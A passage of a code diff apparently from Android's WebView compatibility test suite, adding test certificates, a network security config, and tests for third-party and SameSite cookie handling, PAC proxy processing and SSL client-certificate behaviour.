+qPV3bfWivq7H9UZqHHb9aONBPRhH1xVKf5ByJNwNgRMD4sdBHtklvF1fKnOs3sZ5
+7RhRWn2mNskAHZsVtBGcPCqzPk8oGCptxaEr2rAotb3kD/3TZc2miZUN+AWfOG+U
+QeZLno7U+INDfTQC5D8be9LviYdYK8IkolzHHFcDw0Nyyx5hzj7xNq9T4ENGbjMP
+5RiEoWyKwEGZGoY=
+-----END CERTIFICATE-----
diff --git a/tests/tests/webkit/res/raw/trustedkey.der b/tests/tests/webkit/res/raw/trustedkey.der
new file mode 100644
index 0000000..5ac993a
--- /dev/null
+++ b/tests/tests/webkit/res/raw/trustedkey.der
Binary files differ
diff --git a/tests/tests/webkit/res/raw/untrustedcert.crt b/tests/tests/webkit/res/raw/untrustedcert.crt
new file mode 100644
index 0000000..c75e893
--- /dev/null
+++ b/tests/tests/webkit/res/raw/untrustedcert.crt
@@ -0,0 +1,31 @@
+-----BEGIN CERTIFICATE-----
+MIIFSzCCAzOgAwIBAgIUf5q9s3tlwksxPAbNPire6b8YvQUwDQYJKoZIhvcNAQEL
+BQAwJzElMCMGA1UEAwwcQ3RzV2Via2l0VGVzdENhc2VzLXVudHJ1c3RlZDAeFw0y
+MTAyMDUxOTMxMjFaFw0zMTAyMDMxOTMxMjFaMCcxJTAjBgNVBAMMHEN0c1dlYmtp
+dFRlc3RDYXNlcy11bnRydXN0ZWQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
+AoICAQC5atc0ZDX6R5MIemlOoAwPrjN/DGazzStLE7VCxX8pgK92G7Ur2Attd8C/
+I8c8gvCcOnfF+cvxEe6DSwamLPf/qoCght8RKP8kvEE6OmbjYhL7IEp6wIsP3ER9
+D41wVbbXVOlt2DVDsV/STIoEtQSOW2apT3QIlk65uW6NUyzT94OQKqnXnzToy9/b
+j/g0ONWjmMML7TAz0qJrW89yAjuzxOMkx9VFONt+kN8SyidRdGhtFrJWDP6FCzHZ
+FtMgMpzEsQTFfDBPwnZDHMIQId5Rs4DxLF6OuTIO5gI94e4fQs0vQtudpItm11IP
+m9Nrui+A4A+ySYQ4Qd+ac7NUUw3qBTRhhtVW08gRllIlNpUe2WG3agRd+BybZgPI
+KuOPwAhPZyYCUX/TRafwaAWCcdhNVvERHe8KD9NHV/fAf0fqTvsEKzpV6n58W6oo
+TrsG45+3oFMc24akGajN4MlcYovOA+dCkKp9/dt+dAqD//oPm79gK98is78jcEcW
+Vx+ayAVdMM02YcZhhI7g44HRxHXRVEWMgTckpQZ0Y+5fGfTdvKIzPpFqGZ888TaU
+RgJTEcb2lM/GpSdFlTxsd4idLiYfbZDZ2e8LeDnCzgDxhHCaHK6nensgjA6UIGro
+wYpA+OF929zojBAHGVZzrK2RWEAmT35YXpAbbuFHRipWHeWe+QIDAQABo28wbTAd
+BgNVHQ4EFgQU89I2yAoiDmTOLQHkUpYP4KAZafgwHwYDVR0jBBgwFoAU89I2yAoi
+DmTOLQHkUpYP4KAZafgwDwYDVR0TAQH/BAUwAwEB/zAaBgNVHREEEzARgglsb2Nh
+bGhvc3SHBH8AAAEwDQYJKoZIhvcNAQELBQADggIBAB+AHqtcGsJqORIJAH9OWlmB
+3EDiNrYjjeMWcuFx4kWPGWEXjOWf7NmnWCoyL7JhQEDO71U3T/FxLhsuTHgqABh2
+TP3V8yYgsLtosQORLrbTgSMnJ6ApcvFC6A6busp6WGExeuiGvVbFlPwP7oInKkXP
+Gb6LPpwp2F6hVitNOCzzTNlZy/77faOoqGI307sFX28XJT+Oj1Zs08AgCEoYkEK0
+vYx7z0qVOvWFTMAgIMBefJBcxLlMmrkL9hyFRZN1y1dir+6zhz7nSnThtYr16tsq
+dHU4+F6gfmlerbEbAHX9h0Kx9UY+mdgtU3CywM6xufM4iK2LwE8Wzr5/ND8jnvH8
+2sPdjVMZpPPNPc6M2K7W/IdSrlEOAFopBFvFCLtsFNssp9gNiuEwSE9Ver73xE+S
+3uH0y4kfESmJVQeEdviA1qcDuSxLQoTsXJSKJdWaMfOJMVR7yGFiV6Tz89puurPP
+5Fprk4RbOcAWLHTVLOnTcwB6cvJ5FUIJEw2UOWFJQp6uQ2KkHXuIvBQjNNSuuTOg
+HGrIDhEVV1vbfEmx3X7BKE2svp+xp4o/TM8j5CytWC/D0qVGCnqGNCONyV4uNs7O
+/3NzqixCcLDz+B2bzieW3Qjb76t68ZJ7JxvB6c9fiUrlmUcdPaSWKpXonjvlI0pN
+A5+Gfe2t0uDpO1MROjkA
+-----END CERTIFICATE-----
diff --git a/tests/tests/webkit/res/raw/untrustedkey.der b/tests/tests/webkit/res/raw/untrustedkey.der
new file mode 100644
index 0000000..134bef8
--- /dev/null
+++ b/tests/tests/webkit/res/raw/untrustedkey.der
Binary files differ
diff --git a/tests/tests/webkit/res/xml/network_security_config.xml b/tests/tests/webkit/res/xml/network_security_config.xml
new file mode 100644
index 0000000..b641eff
--- /dev/null
+++ b/tests/tests/webkit/res/xml/network_security_config.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+    <base-config cleartextTrafficPermitted="true">
+        <trust-anchors>
+            <certificates src="@raw/trustedcert"/>
+            <certificates src="system"/>
+        </trust-anchors>
+    </base-config>
+</network-security-config>
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index 9f56724..65cc8e6 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -43,6 +43,7 @@
     private WebView mWebView;
     private CookieManager mCookieManager;
     private WebViewOnUiThread mOnUiThread;
+    private CtsTestServer mServer;
 
     public CookieManagerTest() {
         super("android.webkit.cts", CookieSyncManagerCtsActivity.class);
@@ -68,6 +69,13 @@
         }
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mServer != null) {
+            mServer.shutdown();
+        }
+    }
+
     public void testGetInstance() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -100,8 +108,8 @@
         mCookieManager.setAcceptCookie(false);
         assertFalse(mCookieManager.acceptCookie());
 
-        CtsTestServer server = new CtsTestServer(getActivity(), false);
-        String url = server.getCookieUrl("conquest.html");
+        mServer = new CtsTestServer(getActivity(), false);
+        String url = mServer.getCookieUrl("conquest.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
         Thread.sleep(500);
@@ -110,7 +118,7 @@
         mCookieManager.setAcceptCookie(true);
         assertTrue(mCookieManager.acceptCookie());
 
-        url = server.getCookieUrl("war.html");
+        url = mServer.getCookieUrl("war.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
         waitForCookie(url);
@@ -122,7 +130,7 @@
         assertTrue(m.matches());
         assertEquals("0", m.group(1));
 
-        url = server.getCookieUrl("famine.html");
+        url = mServer.getCookieUrl("famine.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("1|count=0", mOnUiThread.getTitle()); // outgoing cookie
         waitForCookie(url);
@@ -132,7 +140,7 @@
         assertTrue(m.matches());
         assertEquals("1", m.group(1)); // value got incremented
 
-        url = server.getCookieUrl("death.html");
+        url = mServer.getCookieUrl("death.html");
         mCookieManager.setCookie(url, "count=41");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("1|count=41", mOnUiThread.getTitle()); // outgoing cookie
@@ -325,56 +333,108 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
-        CtsTestServer server = null;
+
+        // In theory we need two servers to test this, one server ('the first party')
+        // which returns a response with a link to a second server ('the third party')
+        // at different origin. This second server attempts to set a cookie which should
+        // fail if AcceptThirdPartyCookie() is false.
+        // Strictly according to the letter of RFC6454 it should be possible to set this
+        // situation up with two TestServers on different ports (these count as having
+        // different origins) but Chrome is not strict about this and does not check the
+        // port. Instead we cheat making some of the urls come from localhost and some
+        // from 127.0.0.1 which count (both in theory and pratice) as having different
+        // origins.
+        mServer = new CtsTestServer(getActivity());
+
+        // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
+
+        // Turn global allow on.
+        mCookieManager.setAcceptCookie(true);
+        assertTrue(mCookieManager.acceptCookie());
+
+        // When third party cookies are disabled...
+        mOnUiThread.setAcceptThirdPartyCookies(false);
+        assertFalse(mOnUiThread.acceptThirdPartyCookies());
+
+        // ...we can't set third party cookies.
+        // First on the third party server we get a url which tries to set a cookie.
+        String cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("/cookie_1.js", "test1", "value1", "SameSite=None; Secure"));
+        // Then we create a url on the first party server which links to the first url.
+        String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        assertNull(mCookieManager.getCookie(cookieUrl));
+
+        // When third party cookies are enabled...
+        mOnUiThread.setAcceptThirdPartyCookies(true);
+        assertTrue(mOnUiThread.acceptThirdPartyCookies());
+
+        // ...we can set third party cookies.
+        cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("/cookie_2.js", "test2", "value2", "SameSite=None; Secure"));
+        url = mServer.getLinkedScriptUrl("/content_2.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        waitForCookie(cookieUrl);
+        String cookie = mCookieManager.getCookie(cookieUrl);
+        assertNotNull(cookie);
+        assertTrue(cookie.contains("test2"));
+    }
+
+    public void testSameSiteLaxByDefault() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        mServer = new CtsTestServer(getActivity());
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
+        mCookieManager.setAcceptCookie(true);
+        mOnUiThread.setAcceptThirdPartyCookies(true);
+
+        // Verify that even with third party cookies enabled, cookies that don't explicitly
+        // specify SameSite=none are treated as SameSite=lax and not set in a 3P context.
+        String cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("/cookie_1.js", "test1", "value1"));
+        String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        assertNull(mCookieManager.getCookie(cookieUrl));
+    }
+
+    public void testSameSiteNoneRequiresSecure() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        mServer = new CtsTestServer(getActivity());
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
+        mCookieManager.setAcceptCookie(true);
+
+        // Verify that cookies with SameSite=none are ignored when the cookie is not also Secure.
+        String cookieUrl =
+                mServer.getSetCookieUrl("/cookie_1.js", "test1", "value1", "SameSite=None");
+        String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        assertNull(mCookieManager.getCookie(cookieUrl));
+    }
+
+    public void testSchemefulSameSite() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        mServer = new CtsTestServer(getActivity());
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
+        mCookieManager.setAcceptCookie(true);
+        mOnUiThread.setAcceptThirdPartyCookies(true);
+
+        // Verify that two servers with different schemes on the same host are not considered
+        // same-site to each other.
+        CtsTestServer secureServer = new CtsTestServer(getActivity(),
+                CtsTestServer.SslMode.NO_CLIENT_AUTH, R.raw.trustedkey, R.raw.trustedcert);
         try {
-            // In theory we need two servers to test this, one server ('the first party')
-            // which returns a response with a link to a second server ('the third party')
-            // at different origin. This second server attempts to set a cookie which should
-            // fail if AcceptThirdPartyCookie() is false.
-            // Strictly according to the letter of RFC6454 it should be possible to set this
-            // situation up with two TestServers on different ports (these count as having
-            // different origins) but Chrome is not strict about this and does not check the
-            // port. Instead we cheat making some of the urls come from localhost and some
-            // from 127.0.0.1 which count (both in theory and pratice) as having different
-            // origins.
-            server = new CtsTestServer(getActivity());
-
-            // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
-            mOnUiThread.getSettings().setJavaScriptEnabled(true);
-
-            // Turn global allow on.
-            mCookieManager.setAcceptCookie(true);
-            assertTrue(mCookieManager.acceptCookie());
-
-            // When third party cookies are disabled...
-            mOnUiThread.setAcceptThirdPartyCookies(false);
-            assertFalse(mOnUiThread.acceptThirdPartyCookies());
-
-            // ...we can't set third party cookies.
-            // First on the third party server we get a url which tries to set a cookie.
-            String cookieUrl = toThirdPartyUrl(
-                    server.getSetCookieUrl("cookie_1.js", "test1", "value1"));
-            // Then we create a url on the first party server which links to the first url.
-            String url = server.getLinkedScriptUrl("/content_1.html", cookieUrl);
+            String cookieUrl = secureServer.getSetCookieUrl("/cookie_1.js", "test1", "value1");
+            String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
             mOnUiThread.loadUrlAndWaitForCompletion(url);
             assertNull(mCookieManager.getCookie(cookieUrl));
-
-            // When third party cookies are enabled...
-            mOnUiThread.setAcceptThirdPartyCookies(true);
-            assertTrue(mOnUiThread.acceptThirdPartyCookies());
-
-            // ...we can set third party cookies.
-            cookieUrl = toThirdPartyUrl(
-                    server.getSetCookieUrl("/cookie_2.js", "test2", "value2"));
-            url = server.getLinkedScriptUrl("/content_2.html", cookieUrl);
-            mOnUiThread.loadUrlAndWaitForCompletion(url);
-            waitForCookie(cookieUrl);
-            String cookie = mCookieManager.getCookie(cookieUrl);
-            assertNotNull(cookie);
-            assertTrue(cookie.contains("test2"));
         } finally {
-            if (server != null) server.shutdown();
-            mOnUiThread.getSettings().setJavaScriptEnabled(false);
+            secureServer.shutdown();
         }
     }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
new file mode 100644
index 0000000..2843011
--- /dev/null
+++ b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.webkit.cts;
+
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.webkit.PacProcessor;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public final class PacProcessorTest {
+    private static final String TAG = "PacProcessorCtsTest";
+    private static final long REMOTE_TIMEOUT_MS = 5000;
+
+    private TestProcessClient mProcess;
+
+    @Before
+    public void setUp() throws Throwable {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mProcess = TestProcessClient.createProcessB(context);
+    }
+
+    static class TestCreatePacProcessor extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            PacProcessor otherPacProcessor = PacProcessor.createInstance();
+
+            Assert.assertNotNull("createPacProcessor must not return null", pacProcessor);
+            Assert.assertNotNull("createPacProcessor must not return null", otherPacProcessor);
+
+            Assert.assertFalse("createPacProcessor must return different objects", pacProcessor == otherPacProcessor);
+
+            pacProcessor.setProxyScript(
+                    "function FindProxyForURL(url, host) {" +
+                            "return \"PROXY 1.2.3.4:8080\";" +
+                            "}"
+            );
+            otherPacProcessor.setProxyScript(
+                    "function FindProxyForURL(url, host) {" +
+                            "return \"PROXY 5.6.7.8:8080\";" +
+                            "}"
+            );
+
+            Assert.assertEquals("PROXY 1.2.3.4:8080", pacProcessor.findProxyForUrl("test.url"));
+            Assert.assertEquals("PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
+
+            pacProcessor.release();
+            otherPacProcessor.release();
+        }
+    }
+
+    /**
+     * Test that each {@link PacProcessor#createInstance} call returns a new not null instance.
+     */
+    @Test
+    public void testCreatePacProcessor() throws Throwable {
+        mProcess.run(TestCreatePacProcessor.class, REMOTE_TIMEOUT_MS);
+    }
+
+    static class TestDefaultNetworkIsNull extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            Assert.assertNull("PacProcessor must not have Network set", pacProcessor.getNetwork());
+
+            pacProcessor.release();
+        }
+    }
+
+    /**
+     * Test PacProcessor does not have set Network by default.
+     */
+    @Test
+    public void testDefaultNetworkIsNull() throws Throwable {
+        mProcess.run(TestDefaultNetworkIsNull.class, REMOTE_TIMEOUT_MS);
+    }
+
+    static class TestSetNetwork extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            ConnectivityManager connectivityManager =
+                    ctx.getSystemService(ConnectivityManager.class);
+            Network[] networks = connectivityManager.getAllNetworks();
+            Assert.assertTrue("testSetNetwork requires at least one available Network", networks.length > 0);
+
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            PacProcessor otherPacProcessor = PacProcessor.createInstance();
+
+            pacProcessor.setNetwork(networks[0]);
+            Assert.assertEquals("Network is not set", networks[0], pacProcessor.getNetwork());
+            Assert.assertNull("setNetwork must not affect other PacProcessors", otherPacProcessor.getNetwork());
+
+            pacProcessor.setNetwork(null);
+            Assert.assertNull("Network is not unset", pacProcessor.getNetwork());
+
+            pacProcessor.release();
+            otherPacProcessor.release();
+        }
+    }
+    /**
+     * Test that setNetwork correctly set Network to PacProcessor.
+     */
+    @Test
+    public void testSetNetwork() throws Throwable {
+        mProcess.run(TestSetNetwork.class, REMOTE_TIMEOUT_MS);
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 2a9d690..513db9b 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -18,6 +18,7 @@
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.assertNotEquals;
 
 import android.content.Context;
 import android.graphics.Bitmap;
@@ -955,7 +956,7 @@
         mOnUiThread.clearCache(true);
         mOnUiThread.loadUrlAndWaitForCompletion(
             mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL));
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
         mOnUiThread.loadDataAndWaitForCompletion(getNetworkImageHtml(), "text/html", null);
         assertEquals(EMPTY_IMAGE_HEIGHT, mOnUiThread.getTitle());
         mOnUiThread.loadDataAndWaitForCompletion(DATA_URL_IMAGE_HTML, "text/html", null);
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index a99e9af..47153af 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -38,6 +38,8 @@
 import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
 import android.util.Pair;
 
+import androidx.test.filters.FlakyTest;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.google.common.util.concurrent.SettableFuture;
@@ -142,6 +144,7 @@
 
     // Verify shouldoverrideurlloading called on webview called via onCreateWindow
     // TODO(sgurun) upstream this test to Aw.
+    @FlakyTest(bugId = 172331117)
     public void testShouldOverrideUrlLoadingOnCreateWindow() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -321,7 +324,7 @@
         assertNull(webViewClient.hasOnReceivedResourceError());
         String url = mWebServer.getAssetUrl(TestHtmlConstants.BAD_IMAGE_PAGE_URL);
         mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertTrue(webViewClient.hasOnReceivedResourceError() != null);
+        assertNotNull(webViewClient.hasOnReceivedResourceError());
         assertEquals(WebViewClient.ERROR_UNSUPPORTED_SCHEME,
                 webViewClient.hasOnReceivedResourceError().getErrorCode());
     }
@@ -337,7 +340,7 @@
         assertNull(webViewClient.hasOnReceivedHttpError());
         String url = mWebServer.getAssetUrl(TestHtmlConstants.NON_EXISTENT_PAGE_URL);
         mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertTrue(webViewClient.hasOnReceivedHttpError() != null);
+        assertNotNull(webViewClient.hasOnReceivedHttpError());
         assertEquals(404, webViewClient.hasOnReceivedHttpError().getStatusCode());
     }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
index d59d395..f9496ab 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
@@ -16,6 +16,9 @@
 
 package android.webkit.cts;
 
+import static org.junit.Assert.assertNotEquals;
+
+import android.annotation.CallSuper;
 import android.net.Uri;
 import android.net.http.SslCertificate;
 import android.net.http.SslError;
@@ -32,6 +35,8 @@
 import android.webkit.WebViewClient;
 import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
 
+import androidx.test.filters.FlakyTest;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
 
@@ -561,14 +566,14 @@
         // Load the page again. We expect another call to
         // WebViewClient.onReceivedSslError() since we cleared sslpreferences.
         mOnUiThread.clearSslPreferences();
-        webViewClient.resetWasOnReceivedSslErrorCalled();
+        webViewClient.resetCallCounts();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertTrue(webViewClient.wasOnReceivedSslErrorCalled());
         assertEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
 
         // Load the page once again, without clearing the sslpreferences.
         // Make sure we do not get the callback.
-        webViewClient.resetWasOnReceivedSslErrorCalled();
+        webViewClient.resetCallCounts();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertFalse(webViewClient.wasOnReceivedSslErrorCalled());
         assertEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
@@ -650,7 +655,7 @@
         mOnUiThread.setWebViewClient(new MockWebViewClient());
         mOnUiThread.clearSslPreferences();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
     }
 
     public void testSslErrorProceedResponseReusedForSameHost() throws Throwable {
@@ -669,7 +674,7 @@
 
         // Load the second page. We don't expect a call to
         // WebViewClient.onReceivedSslError(), but the page should load.
-        webViewClient.resetWasOnReceivedSslErrorCalled();
+        webViewClient.resetCallCounts();
         final String sameHostUrl = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL2);
         mOnUiThread.loadUrlAndWaitForCompletion(sameHostUrl);
         assertFalse(webViewClient.wasOnReceivedSslErrorCalled());
@@ -692,7 +697,7 @@
 
         // Load the second page. We expect another call to
         // WebViewClient.onReceivedSslError().
-        webViewClient.resetWasOnReceivedSslErrorCalled();
+        webViewClient.resetCallCounts();
         // The test server uses the host "localhost". "127.0.0.1" works as an
         // alias, but will be considered unique by the WebView.
         final String differentHostUrl = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL2).replace(
@@ -728,7 +733,7 @@
         final SslErrorWebViewClient webViewClient = new SslErrorWebViewClient(mOnUiThread);
         mOnUiThread.setWebViewClient(webViewClient);
         mOnUiThread.clearSslPreferences();
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
         // Page NOT loaded OK...
         //
         // In this test, we expect both a recoverable and non-recoverable error:
@@ -745,24 +750,6 @@
         // WebView hit error 2 first, which prevented it from hitting error 1.
         assertFalse("Title should not be updated, since page load should have failed",
                 TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
-    }
-
-    private void assertFailedHandshakeOrConnectionError(int code) {
-        // Asserts the error code for a non-recoverable SSL error. Non-recoverable SSL errors may
-        // fail with either of the following codes:
-        //
-        //  a. In TLS 1.2 and earlier (< Android Q), handshakes take 2 round trips (RTTs). If the
-        //     server rejects the client , the client will know this reliably and WebView will
-        //     signal this with ERROR_FAILED_SSL_HANDSHAKE.
-        //  b. In TLS 1.3 (>= Android Q), handshakes were optimized to a single RTT. This has the
-        //     consequence the server *may* close the TCP connection at the same time as the client
-        //     sends the HTTP request. The closed TCP connection causes WebView to emit
-        //     ERROR_CONNECT and cancel the navigation. See b/146067690 and https://crbug.com/958638
-        //     for details on this issue.
-        assertTrue("Expected either ERROR_FAILED_SSL_HANDSHAKE or ERROR_CONNECT in onReceivedError",
-                code == WebViewClient.ERROR_FAILED_SSL_HANDSHAKE ||
-                code == WebViewClient.ERROR_CONNECT);
     }
 
     public void testProceedClientCertRequest() throws Throwable {
@@ -779,17 +766,20 @@
 
         // Test that the user's response for this server is kept in cache. Load a different
         // page from the same server and make sure we don't receive a client cert request callback.
-        int callCount = webViewClient.getClientCertRequestCount();
+        webViewClient.resetCallCounts();
         url = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL1);
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
-        assertEquals(callCount, webViewClient.getClientCertRequestCount());
+        assertEquals("onReceivedClientCertRequest should not be called",
+                0, webViewClient.getClientCertRequestCount());
 
         // Now clear the cache and reload the page. We should receive a new callback.
+        webViewClient.resetCallCounts();
         clearClientCertPreferences();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
-        assertEquals(callCount + 1, webViewClient.getClientCertRequestCount());
+        assertEquals("onReceivedClientCertRequest should be called once",
+                1, webViewClient.getClientCertRequestCount());
     }
 
     public void testProceedClientCertRequestKeyWithAndroidKeystoreKey() throws Throwable {
@@ -809,17 +799,40 @@
 
         // Test that the user's response for this server is kept in cache. Load a different
         // page from the same server and make sure we don't receive a client cert request callback.
-        int callCount = webViewClient.getClientCertRequestCount();
+        webViewClient.resetCallCounts();
         url = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL1);
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
-        assertEquals(callCount, webViewClient.getClientCertRequestCount());
+        assertEquals("onReceivedClientCertRequest should not be called",
+                0, webViewClient.getClientCertRequestCount());
 
         // Now clear the cache and reload the page. We should receive a new callback.
+        webViewClient.resetCallCounts();
         clearClientCertPreferences();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
-        assertEquals(callCount + 1, webViewClient.getClientCertRequestCount());
+        assertEquals("onReceivedClientCertRequest should be called once",
+                1, webViewClient.getClientCertRequestCount());
+    }
+
+    /**
+     * Loads a url until a specific error code. This is meant to be used when two different errors
+     * can race. Specifically, this is meant to be used to workaround the TLS 1.3 (Android Q and
+     * above) race condition where a server <b>may</b> close the connection at the same time the
+     * client sends the HTTP request, emitting {@code ERROR_CONNECT} instead of {@code
+     * ERROR_FAILED_SSL_HANDSHAKE}.
+     */
+    private void loadUrlUntilError(SslErrorWebViewClient client, String url,
+            int expectedErrorCode) {
+        int maxTries = 40;
+        for (int i = 0; i < maxTries; i++) {
+            mOnUiThread.loadUrlAndWaitForCompletion(url);
+            if (client.onReceivedErrorCode() == expectedErrorCode) {
+                return;
+            }
+        }
+        throw new RuntimeException(
+                "Reached max number of tries and never saw error " + expectedErrorCode);
     }
 
     public void testIgnoreClientCertRequest() throws Throwable {
@@ -833,18 +846,23 @@
         clearClientCertPreferences();
         // Ignore the request. Load should fail.
         webViewClient.setAction(ClientCertWebViewClient.IGNORE);
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
+        // At least one of the loads done by loadUrlUntilError() should produce
+        // onReceivedClientCertRequest.
+        assertTrue("onReceivedClientCertRequest should be called at least once",
+                webViewClient.getClientCertRequestCount() >= 1);
 
         // Load a different page from the same domain, ignoring the request. We should get a callback,
         // and load should fail.
-        int callCount = webViewClient.getClientCertRequestCount();
+        webViewClient.resetCallCounts();
         url = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL1);
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertFalse(TestHtmlConstants.HTML_URL1_TITLE.equals(mOnUiThread.getTitle()));
